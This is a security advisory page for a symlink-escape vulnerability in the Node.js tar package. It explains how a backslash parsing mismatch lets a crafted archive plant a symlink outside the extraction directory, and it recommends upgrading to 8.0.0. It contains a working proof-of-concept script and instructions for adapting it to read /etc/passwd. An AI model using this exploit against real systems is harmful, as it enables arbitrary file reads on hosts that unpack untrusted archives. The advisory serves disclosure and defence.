Symlink Attack Affecting tar package, versions <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Symlink Attack vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TAR-23314562
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditHadi Assalem

Introduced: 2 Dec 2026

NewCVE-2026-140246  (opens in a new tab)
CWE-22  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.

Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.

PoC

Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.

Steps: npm i tar@7.5.22 tar-stream node poc.js

poc.js:

const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 });        // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
  const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
  await tar.x({ file: tf, cwd });                                  // DEFAULT options
  console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
  console.log('read    :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});

Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".

To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").

Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.

CVSS Base Scores

version 4.0
version 3.1